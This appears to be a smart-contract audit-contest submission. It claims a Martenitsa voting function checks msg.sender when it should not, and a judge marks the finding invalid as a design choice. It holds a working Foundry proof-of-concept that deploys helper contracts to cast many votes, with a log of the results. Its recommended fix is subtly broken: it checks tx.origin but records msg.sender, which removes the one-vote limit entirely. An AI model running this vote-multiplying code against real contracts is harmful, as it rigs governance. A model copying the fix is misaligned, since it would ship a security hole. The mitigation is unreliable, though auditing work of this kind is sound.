Beginner FriendlyFoundryGameFi
100 EXP
View results
Submission Details
Severity: low
Invalid

Wrong address check in `ManteritsaVoting:voteForMartenitsa` allows a user to mine votes from a single address.

Description The ManteritsaVoting:voteForMartenitsa function is checking the wrong address to see if the user has already voted.

function voteForMartenitsa(uint256 tokenId) external {
@> require(!hasVoted[msg.sender], "You have already voted");
require(block.timestamp < startVoteTime + duration, "The voting is no longer active");
list = _martenitsaMarketplace.getListing(tokenId);
require(list.forSale, "You are unable to vote for this martenitsa");
hasVoted[msg.sender] = true;
voteCounts[tokenId] += 1;
_tokenIds.push(tokenId);
}

Impact Checking msg.sender only gives the address of the most recent caller in the stack. This allows a single user to bypass this check by using a helper contract to mine addresses for many votes in a single transaction.

Proof Of Concept

A user can use MinimalProxy contracts to mine addresses in a single call to vote many times. Bypassing the hasVoted check.

Place the following test in your test file
interface IVOTE {
function voteForMartenitsa(uint256 tokenId) external;
}
contract voteHelper {
constructor(uint x, address y) {
IVOTE(y).voteForMartenitsa(x);
}
}
contract PocTest is Test, BaseTest {
function testManyVoteForMartenitsa() public listMartenitsa {
vm.startPrank(bob);
for (uint256 i = 1; i < 25; i++) {
bytes32 salt = keccak256(abi.encodePacked(i,msg.sender));
address helper = address(new voteHelper{salt: salt}(0, address(voting)));
}
vm.stopPrank();
console.log("number of votes:", voting.voteCounts(0) );
}
}

console log

Ran 1 test for test/PocTest.t.sol:PocTest
[PASS] testManyVoteForMartenitsa() (gas: 2266316)
Logs:
number of votes: 24

Recommended Mitigation: Change this check to use tx.origin instead of msg.sender.

function voteForMartenitsa(uint256 tokenId) external {
+ require(!hasVoted[tx.origin], "You have already voted");
- require(!hasVoted[msg.sender], "You have already voted");
require(block.timestamp < startVoteTime + duration, "The voting is no longer active");
list = _martenitsaMarketplace.getListing(tokenId);
require(list.forSale, "You are unable to vote for this martenitsa");
hasVoted[msg.sender] = true;
voteCounts[tokenId] += 1;
_tokenIds.push(tokenId);
}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice
Assigned finding tags:

Multiple addresses

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.